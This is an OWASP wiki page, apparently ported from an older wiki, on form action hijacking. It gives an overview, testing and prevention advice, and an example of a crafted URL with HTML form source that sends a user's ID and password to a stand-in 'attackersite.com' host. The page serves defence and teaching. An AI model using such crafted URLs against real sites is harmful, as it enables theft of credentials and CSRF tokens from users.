Form action hijacking

Thank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.

Author: Robert Gilbert (amroot)

Overview

Form action hijacking allows an attacker to specify the action URL of a form via a paramter. An attacker can construct a URL that will modify the action URL of a form to point to the attacker’s server. Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.

How to Test for Form Action Hijacking Vulnerabilities

Check parameter values passed to the form action. See example below.

How to Prevent Form Action Hijacking Vulnerabilities

Hard-code the form action URL or use an allowed list of permitted URLs.

Examples

The following URL will generate the a form and set the “url” parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker’s site.

URL:

https://vulnerablehost.com/?url=https://attackersite.com

Source:

<form name="form1" id="form1" method="post" action="https://attackersite.com">
    <input type="text" name="id" value="user name">
    <input type="password" name="pass" value="password">
    <input type="submit" name="submit" value="Submit">
</form>

References